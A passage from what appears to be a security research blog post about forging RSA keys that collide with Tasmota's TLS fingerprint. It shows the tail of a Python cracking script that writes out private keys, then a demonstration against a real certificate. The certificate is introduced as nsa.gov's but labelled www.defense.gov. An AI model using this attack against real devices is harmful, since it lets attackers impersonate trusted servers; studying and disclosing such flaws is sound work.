class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;read&lt;/span&gt;&lt;span class="pgcssp"&gt;())&lt;/span&gt;</code> </td></tr><tr><td class="linenos">72</td><td> </td></tr><tr><td class="linenos">73</td><td> <code> &lt;span class="pgcssn"&gt;raw&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;target&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;target&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">74</td><td> </td></tr><tr><td class="linenos">75</td><td> <code> &lt;span class="pgcssn"&gt;fp&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">76</td><td> </td></tr><tr><td class="linenos">77</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;Tasmota fingerprint: &amp;#39;&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;fmt_fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">78</td><td> </td></tr><tr><td class="linenos">79</td><td> <code> &lt;span class="pgcssn"&gt;proc&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;subprocess&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;Popen&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;CRACK_ARGS&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;hexlify&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;()],&lt;/span&gt; &lt;span class="pgcssn"&gt;stdout&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;subprocess&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;PIPE&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">80</td><td> <code> &lt;span class="pgcssn"&gt;lines&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">81</td><td> <code> &lt;span class="pgcssk"&gt;while&lt;/span&gt; &lt;span class="pgcsskc"&gt;True&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">82</td><td> <code> &lt;span class="pgcssn"&gt;line&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;proc&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stdout&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;readline&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">83</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssow"&gt;not&lt;/span&gt; &lt;span class="pgcssn"&gt;line&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">84</td><td> <code> &lt;span class="pgcssk"&gt;break&lt;/span&gt;</code> </td></tr><tr><td class="linenos">85</td><td> <code> &lt;span class="pgcssn"&gt;line&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;line&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;rstrip&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">86</td><td> <code> &lt;span class="pgcssn"&gt;lines&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;append&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;line&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">87</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;line&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;!=&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;{&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">88</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;line&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">89</td><td> </td></tr><tr><td class="linenos">90</td><td> <code> &lt;span class="pgcssn"&gt;last&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;lines&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;lines&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;-&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">91</td><td> </td></tr><tr><td class="linenos">92</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;Writing results to &lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcsss1"&gt;.json&amp;#39;&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssn"&gt;fp&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">93</td><td> <code> &lt;span class="pgcssk"&gt;with&lt;/span&gt; &lt;span class="pgcssnb"&gt;open&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcsss1"&gt;.json&amp;#39;&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssn"&gt;fp&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;out&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">94</td><td> <code> &lt;span class="pgcssn"&gt;out&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;last&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">95</td><td> </td></tr><tr><td class="linenos">96</td><td> <code> &lt;span class="pgcssn"&gt;result&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;json&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;loads&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;last&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">97</td><td> </td></tr><tr><td class="linenos">98</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;solutions&amp;#39;&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;result&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">99</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;params&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;enumerate&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;result&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;solutions&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">100</td><td> <code> &lt;span class="pgcssn"&gt;e&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">101</td><td> <code> &lt;span class="pgcssn"&gt;primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;primes&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">102</td><td> <code> &lt;span class="pgcssn"&gt;key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAPrivateKey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">103</td><td> <code> &lt;span class="pgcssn"&gt;filename&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcsss1"&gt;_e&lt;/span&gt;&lt;span class="pgcsssi"&gt;%04u&lt;/span&gt;&lt;span class="pgcsss1"&gt;_p&lt;/span&gt;&lt;span class="pgcsssi"&gt;%02u&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;fp&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;bit_length&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">104</td><td> <code> &lt;span class="pgcssk"&gt;try&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">105</td><td> <code> &lt;span class="pgcssn"&gt;b64&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;base64&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;b64encode&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;der&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">106</td><td> <code> &lt;span class="pgcssn"&gt;b64&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;join&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">107</td><td> <code> &lt;span class="pgcssn"&gt;pem&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;-----BEGIN &lt;/span&gt;&lt;span class="pgcsssi"&gt;{text}&lt;/span&gt;&lt;span class="pgcsss1"&gt;-----&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsssi"&gt;{b64}&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsss1"&gt;-----END &lt;/span&gt;&lt;span class="pgcsssi"&gt;{text}&lt;/span&gt;&lt;span class="pgcsss1"&gt;-----&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">108</td><td> <code> &lt;span class="pgcssn"&gt;pem&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;pem&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;text&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;RSA PRIVATE KEY&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">109</td><td> <code> &lt;span class="pgcssn"&gt;keypair_text&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;keypair&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">110</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;Writing keypair to &lt;/span&gt;&lt;span class="pgcsssi"&gt;{}&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;filename&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;.pem&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">111</td><td> <code> &lt;span class="pgcssk"&gt;with&lt;/span&gt; &lt;span class="pgcssnb"&gt;open&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;filename&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;.pem&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;out&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">112</td><td> <code> &lt;span class="pgcssn"&gt;out&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;keypair_text&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">113</td><td> <code> &lt;span class="pgcssk"&gt;except&lt;/span&gt; &lt;span class="pgcssne"&gt;Exception&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">114</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">115</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;5&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">116</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;You may need to patch OpenSSL to allow more than 5 primes.&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">117</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;Writing keypair to &lt;/span&gt;&lt;span class="pgcsssi"&gt;{}&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;filename&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;.key&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">118</td><td> <code> &lt;span class="pgcssk"&gt;with&lt;/span&gt; &lt;span class="pgcssnb"&gt;open&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;filename&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;.key&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;out&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">119</td><td> <code> &lt;span class="pgcssn"&gt;out&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;pem&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>Theory is all well and good, but does this <em>actually</em> work on real world keys? How about <a class="external" href="proxy.php?url=https%3A%2F%2Fcrt.sh%2F%3Fid%3D3055367778">this key for nsa.gov</a>?</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">&nbsp;</td><td> <code>Subject: CN = www.defense.gov</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code>Subject Public Key Info:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> Public Key Algorithm: rsaEncryption</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> RSA Public-Key: (2048 bit)</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> Modulus:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 00:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:15:52:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:6f:91:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:3b:26:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:41:11:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:76:8e:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:c5:d4:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:76:9a:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 4d:81:e2:c2:2f:a4:61:18:47:6b:eb:ab:78:b0:5b:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 74:01</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> Exponent: 65537 (0x10001)</code> </td></tr></tbody></table></div> <p>This serializes out to <tt class="literal"><span class="pre">7373682d727361010001c94b58d1...f37401</span></tt>, and Tasmota&rsquo;s fingerprint for it is:</p> <p><tt class="literal">87 55 2E C2 AF 2F F3 2A A7 BE A8 71 B7 69 F7 B6 09 FC 97 A2</tt></p> <p>The cracker I wrote successfully factored a colliding key in less than a minute.</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">&nbsp;</td><td> <code>Subject: CN = www.defense.gov</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code>Subject Public Key Info:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> Public Key Algorithm: rsaEncryption</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> RSA Public-Key: (1176 bit)</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> Modulus:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 00:a4:61:18:47:6b:eb:ab:78:b0:5b:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:</code> </td></tr><tr><td 